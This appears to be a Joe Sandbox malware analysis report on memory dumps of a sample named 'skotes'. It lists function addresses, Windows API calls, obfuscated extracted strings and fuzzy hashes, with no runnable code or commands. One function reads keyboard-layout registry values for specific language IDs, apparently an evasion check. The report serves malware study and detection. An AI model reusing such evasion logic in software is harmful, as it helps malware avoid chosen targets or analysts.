Memory Dump Source

Source File: 00000006.00000002.2660007795.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b50000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fb54600b1e7e59a07019619f53567afb439a5c386bf11b757c47b910893bd02
Instruction ID: 5c6fe91124a4f6abb8c88ca5e790161e393e3a3aa539acd5182f0fb79e71cbe8
Opcode Fuzzy Hash: 3fb54600b1e7e59a07019619f53567afb439a5c386bf11b757c47b910893bd02
Instruction Fuzzy Hash: 3A11E5EBA4C200BDB142E5526B59BBBFB6DE6C67303308C57FC06C94A2F1A45E4E6071

Function 00FD3640 Relevance: 53.3, APIs: 1, Strings: 29, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00FD434F

Part of subcall function 00FD7A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00FD7AEC
Part of subcall function 00FD7A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00FD7AF8
Part of subcall function 00FD7A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00FD7B01

Strings

hg_, xrefs: 00FD3A8C
V2Te, xrefs: 00FD3EB0
aWW0, xrefs: 00FD555C
WGS0, xrefs: 00FD5533
", xrefs: 00FD3F89
WGpm, xrefs: 00FD3CC9
Vmc0, xrefs: 00FD55D7
Fw==, xrefs: 00FD378E, 00FD4E1D
invalid stoi argument, xrefs: 00FD2ED9, 00FD2EE8, 00FD434A, 00FD4F8D
GE0, xrefs: 00FD5585
anE0, xrefs: 00FD566B
MGI+, xrefs: 00FD48AD, 00FD49DC, 00FD4BCC, 00FD4CFB
246122658369, xrefs: 00FD1F95, 00FD28DE, 00FD2B33, 00FD2BA0, 00FD2F78, 00FD3463, 00FD34C4, 00FD502A, 00FD503D, 00FD507F, 00FD5089, 00FD5684
KCWUOl==, xrefs: 00FD5649
9c9aa5, xrefs: 00FD5619
9HQ0, xrefs: 00FD54E1
VXA0, xrefs: 00FD55AE
2I0, xrefs: 00FD5627
8WI0, xrefs: 00FD5692
5120, xrefs: 00FD3BAF, 00FD3C9A
jS=, xrefs: 00FD6513
WX f, xrefs: 00FD3BDE
VXQ0, xrefs: 00FD550A
MGE+, xrefs: 00FD4866, 00FD48DD, 00FD4B85, 00FD4BFC
3I3eB==, xrefs: 00FD4802
93E0, xrefs: 00FD5600
stoi argument out of range, xrefs: 00FD2EF2, 00FD4359, 00FD4F9C
Hykl, xrefs: 00FD387F
9250, xrefs: 00FD54AD

Memory Dump Source

Source File: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000006.00000002.2640618542.0000000000FC0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2641659878.0000000001022000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642451822.0000000001029000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000102B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000129C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012CB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012D2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2645965079.00000000012E3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647631183.0000000001484000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647933199.0000000001486000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fc0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$"$246122658369$5120$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$Hykl$KCWUOl==$MGE+$MGI+$V2Te$VXA0$VXQ0$Vmc0$WGS0$WGpm$WX f$aWW0$anE0$hg_$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-747846200
Opcode ID: 734a41e5ac59b1f8e7ae6339754947fe37137baa470df68844c3cd1db2629480
Instruction ID: 26b203f0745a960040ab8a491dc3a7e2cfae4f4f6666ca54020cb1b0b7b5a128
Opcode Fuzzy Hash: 734a41e5ac59b1f8e7ae6339754947fe37137baa470df68844c3cd1db2629480
Instruction Fuzzy Hash: FA522771A002489BDF14EF78CC4A79DBB76AF45300F58458EE445A7382DB399B84EB92

Function 00FD1EC0 Relevance: 37.8, APIs: 2, Strings: 19, Instructions: 1092COMMON

Download Yara Rule

APIs

Part of subcall function 00FD7A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00FD7AEC
Part of subcall function 00FD7A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00FD7AF8
Part of subcall function 00FD7A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00FD7B01

std::_Xinvalid_argument.LIBCPMT ref: 00FD2EDE

Part of subcall function 00FDC199: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00FDC1A5

std::_Xinvalid_argument.LIBCPMT ref: 00FD2EED

Strings

hg_, xrefs: 00FD3A8C
nNo1LowMrFi, xrefs: 00FD298A
V2Te, xrefs: 00FD3EB0
", xrefs: 00FD3F89
WGpm, xrefs: 00FD3CC9
WDw=, xrefs: 00FD28C1, 00FD34AA
8HJUeIfzLo==, xrefs: 00FD2FB7, 00FD3226
., xrefs: 00FD2BDA
Fw==, xrefs: 00FD378E
WTs=, xrefs: 00FD2B83, 00FD3449
invalid stoi argument, xrefs: 00FD2ED9, 00FD2EE8, 00FD434A
5120, xrefs: 00FD3BAF, 00FD3C9A
WX f, xrefs: 00FD3BDE
8HJUeMD Lq5=, xrefs: 00FD3054
WTw=, xrefs: 00FD1F78, 00FD2B16, 00FD2F5E
Ljg0, xrefs: 00FD2136, 00FD2228
stoi argument out of range, xrefs: 00FD2EF2, 00FD4359
246122658369, xrefs: 00FD1F95, 00FD28DE, 00FD2B33, 00FD2BA0, 00FD2F78, 00FD3463, 00FD34C4
Hykl, xrefs: 00FD387F

Memory Dump Source

Source File: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000006.00000002.2640618542.0000000000FC0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2641659878.0000000001022000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642451822.0000000001029000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000102B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000129C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012CB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012D2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2645965079.00000000012E3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647631183.0000000001484000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647933199.0000000001486000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fc0000_skotes.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situstd::invalid_argument::invalid_argument
String ID: nNo1LowMrFi$"$.$246122658369$5120$8HJUeIfzLo==$8HJUeMD Lq5=$Fw==$Hykl$Ljg0$V2Te$WDw=$WGpm$WTs=$WTw=$WX f$hg_$invalid stoi argument$stoi argument out of range
API String ID: 2897603145-705751571
Opcode ID: a7a3d26926433d75c6b0059f8e6e7ca850c4d64cb47e6dd001209a7f8d239949
Instruction ID: ac0995e14fad76f2d5330285a9f78bccb08f34ddbfefa4f09f18c16463387fb4
Opcode Fuzzy Hash: a7a3d26926433d75c6b0059f8e6e7ca850c4d64cb47e6dd001209a7f8d239949
Instruction Fuzzy Hash: CB922831A002589BDF19EF28CC467DD7B729F56300F5881CAE84957382DB799BC4ABD2

Function 00FD2F10 Relevance: 23.7, APIs: 1, Strings: 12, Instructions: 910
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

hg_, xrefs: 00FD3A8C
Fw==, xrefs: 00FD378E
V2Te, xrefs: 00FD3EB0
", xrefs: 00FD3F89
invalid stoi argument, xrefs: 00FD434A
5120, xrefs: 00FD3BAF, 00FD3C9A
WX f, xrefs: 00FD3BDE
WGpm, xrefs: 00FD3CC9
WTw=, xrefs: 00FD2F5E
stoi argument out of range, xrefs: 00FD4359
246122658369, xrefs: 00FD2F78
Hykl, xrefs: 00FD387F

Memory Dump Source

Source File: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000006.00000002.2640618542.0000000000FC0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2641659878.0000000001022000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642451822.0000000001029000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000102B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000129C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012CB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012D2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2645965079.00000000012E3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647631183.0000000001484000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647933199.0000000001486000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fc0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: "$246122658369$5120$Fw==$Hykl$V2Te$WGpm$WTw=$WX f$hg_$invalid stoi argument$stoi argument out of range
API String ID: 4078500453-2142489334
Opcode ID: 02c1d50130464549cc20760d2a124e2a1f37f96d7d9dc83b4da06b3ce53c22a4
Instruction ID: 8cdba06bff0c967e52f2d21dbd3534e1815f181865186d2cf90f4d8b2b7d21d6
Opcode Fuzzy Hash: 02c1d50130464549cc20760d2a124e2a1f37f96d7d9dc83b4da06b3ce53c22a4
Instruction Fuzzy Hash: 90724871A002489BDF18EF78CC4A79D7B77AF45300F58418EE445AB386D7399B84EB92

Function 00FC5EE0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 340
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,?), ref: 00FC5F13

Strings

Keyboard Layout\Preload, xrefs: 00FC6054
0000043f, xrefs: 00FC612B
00000419, xrefs: 00FC6098
00000423, xrefs: 00FC60FA
00000422, xrefs: 00FC60C9

Memory Dump Source

Source File: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000006.00000002.2640618542.0000000000FC0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2641659878.0000000001022000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642451822.0000000001029000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000102B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000129C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012CB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012D2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2645965079.00000000012E3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647631183.0000000001484000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647933199.0000000001486000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fc0000_skotes.jbxd

Yara matches

Similarity

API ID: Open
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 71445658-3963862150
Opcode ID: 97ff8be0dc699642dfc98884b3b9f96a2f516854cef419522b7b0d5a3bc2208b
Instruction ID: 6625b7d9384b73f4e6611ac6af687fc467240e42a03d9749e84ff62583876442
Opcode Fuzzy Hash: 97ff8be0dc699642dfc98884b3b9f96a2f516854cef419522b7b0d5a3bc2208b
Instruction Fuzzy Hash: E2D1DD709042199BEB24DF24CD85FDEB7B9AF04300F5442D9E508E7291DB78ABA8DF94

Function 00FC7D30 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00FC7ED3

Strings

X~_, xrefs: 00FC7F56
JjssOl==, xrefs: 00FC813A
JjsrQV==, xrefs: 00FC8092
JjsrPl==, xrefs: 00FC828A
JjssPV==, xrefs: 00FC81E2

Memory Dump Source

Source File: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000006.00000002.2640618542.0000000000FC0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2641659878.0000000001022000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642451822.0000000001029000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000102B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000129C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012CB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012D2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2645965079.00000000012E3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647631183.0000000001484000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647933199.0000000001486000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fc0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==$X~_
API String ID: 1721193555-1774054867
Opcode ID: 5b4c2b9fa80906730d2dc63729476868b3a13c545af15229e5727b3dc0f5c74c
Instruction ID: 9675e9e2a7c89fd2a0d184becd5047b39936dcbcde9dec10aadc2e051a61320b
Opcode Fuzzy Hash: 5b4c2b9fa80906730d2dc63729476868b3a13c545af15229e5727b3dc0f5c74c
Instruction Fuzzy Hash: FEE12971E0025597DB24FB68CE0BB9E7B61AB41720F94028CE4556B3C6DB3D5E81ABC2

Function 00FFD634 Relevance: 1.7, APIs: 1, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000006.00000002.2640618542.0000000000FC0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2641659878.0000000001022000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642451822.0000000001029000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000102B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000129C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012CB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012D2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2645965079.00000000012E3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647631183.0000000001484000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647933199.0000000001486000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fc0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73cbde2b58c0ec09d57bbc11656b1bc312d4b742dca2f3d265c45f7a5bea6a11
Instruction ID: 57ec3937fa16ff9f01ded1f4ff2b1b162a89c913be473abb929469067cf43bd7
Opcode Fuzzy Hash: 73cbde2b58c0ec09d57bbc11656b1bc312d4b742dca2f3d265c45f7a5bea6a11
Instruction Fuzzy Hash: 8761E333D0021C8BDF25AFA8D8957FDB7A2AF15364F284115EA49AB2B1D6359C00EB51

Function 00FC8380 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00FC8524

Memory Dump Source

Source File: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000006.00000002.2640618542.0000000000FC0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2641659878.0000000001022000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642451822.0000000001029000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000102B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000129C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012CB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012D2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2645965079.00000000012E3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647631183.0000000001484000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647933199.0000000001486000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fc0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 4655bb37a6059b0353a790a155b1d81f297b40be7bc6f29c16afe24328ea6037
Instruction ID: a9b4d5021648c68ad92d4fac8b4cf6a5c3f04a11fcf8368b0cb3409a49dd29eb
Opcode Fuzzy Hash: 4655bb37a6059b0353a790a155b1d81f297b40be7bc6f29c16afe24328ea6037
Instruction Fuzzy Hash: 0C517B70D002199BEB28EB68CE46BDDB775DF45320F54429CE408A73C1EF359E809B91

Function 00FFD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00000003,00FFA72D,?,00000000,?,00FF6D2C,00FC7883,C828616A,00FC7883), ref: 00FFD871

Memory Dump Source

Source File: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000006.00000002.2640618542.0000000000FC0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2641659878.0000000001022000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642451822.0000000001029000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000102B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000129C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012CB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012D2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2645965079.00000000012E3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647631183.0000000001484000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647933199.0000000001486000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fc0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 429bd137f801dc7c5910ed9a5b6727a488189bc8ca988de3efc8a2bf4568fd74
Instruction ID: 87af0b5728b3ae0bbcf6ad14453412e4e9c29d966328cffaaca5deab4e999d9f
Opcode Fuzzy Hash: 429bd137f801dc7c5910ed9a5b6727a488189bc8ca988de3efc8a2bf4568fd74
Instruction Fuzzy Hash: F1F0B432A4522C66EB212A729C01B7B7B5ADF457F0B188121EF04A71A1DA24DC00E6E0

Function 00FFB04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,C828616A,?,?,00FDD3FC,C828616A,?,00FD7A8B,?,?,?,?,?,?,00FC7465,?), ref: 00FFB07E

Memory Dump Source

Source File: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000006.00000002.2640618542.0000000000FC0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2641659878.0000000001022000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642451822.0000000001029000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000102B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000129C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012CB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012D2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2645965079.00000000012E3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647631183.0000000001484000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647933199.0000000001486000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fc0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 431bd1a7768f08d2ced7c8970038c630eba16ffc423e9737422b92dc829ac060
Instruction ID: 58c987bf71fc4f0f6e86e28a424e358481959ecae21492911497a2b911c787f2
Opcode Fuzzy Hash: 431bd1a7768f08d2ced7c8970038c630eba16ffc423e9737422b92dc829ac060
Instruction Fuzzy Hash: 45E0E53154121E96E6303675CC00B7FB6488F423B1F240210EF64961B0DF14CC00B1E4

Function 04B50C7F Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2660007795.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b50000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8c43edfcb884c907af3ea5a3c217f54f1de68ad4042094595af81e0c4c9f8fa
Instruction ID: 6cc0430ace02dc96b4a2f50077968c33aef84806566107e15edaca0650d27af0
Opcode Fuzzy Hash: b8c43edfcb884c907af3ea5a3c217f54f1de68ad4042094595af81e0c4c9f8fa
Instruction Fuzzy Hash: 6131A1EB24C110BDB14265452B64BFAEB2EE6D673033088A6FC07C5562F2987E4E7031

Function 04B50D71 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2660007795.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b50000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c355accf0943a1639e8cebf03cb7b606b488458a77886646785f6ca5edf944b
Instruction ID: b14bc791a17647d3a7d2ff4fc50dd434b56ffe4470a1158e05ae2e620feca07b
Opcode Fuzzy Hash: 8c355accf0943a1639e8cebf03cb7b606b488458a77886646785f6ca5edf944b
Instruction Fuzzy Hash: F9111CEB74C110BDB14295513B18AFBEB6DE1C273033088A7FC02C5956E2986E4E7132

Function 04B50D8C Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2660007795.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b50000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12db1a060396d2dde88e150fcc74f82eb061f77ceaa2b5e6730e33a608b4ecf3
Instruction ID: f6dc8506a1f104ffb7eab4bfeea6cdba1b6c5cde3b260d47a93390f8161bf553
Opcode Fuzzy Hash: 12db1a060396d2dde88e150fcc74f82eb061f77ceaa2b5e6730e33a608b4ecf3
Instruction Fuzzy Hash: B1112AEB64C120BDB141A5522B58AFBE76EE2D6730370886AFC02C1556E2986E4D7031

Function 04B50D6A Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2660007795.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b50000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe3b5b2e5d9695567baef2ebe79bb69ea0700eedd6c306f8955fd701f8e79f61
Instruction ID: b791ec18bb7c6733d62ea2096c58f43de4979ed23ea9da8d0162e90975c79a3c
Opcode Fuzzy Hash: fe3b5b2e5d9695567baef2ebe79bb69ea0700eedd6c306f8955fd701f8e79f61
Instruction Fuzzy Hash: 4C01A2EB64C110BDB141A5422B28AFBE76DE1D6B3037188A6FC02C5556E2986E4E7032

Function 04B50DBD Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2660007795.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b50000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2863f6ae4a8b4d49c638dc4bd4179724fb4cf0f6567e2411208f69d5b8d08dc
Instruction ID: 6cbcaadd7cee21f3ede564292d19d33c6f708b7b12a6009e57d0fb83fb46883f
Opcode Fuzzy Hash: f2863f6ae4a8b4d49c638dc4bd4179724fb4cf0f6567e2411208f69d5b8d08dc
Instruction Fuzzy Hash: 13F0FBEB64C110ADB141A5427B28BFAE76DE2D67303308C67FC07C5952E2986E5E7132

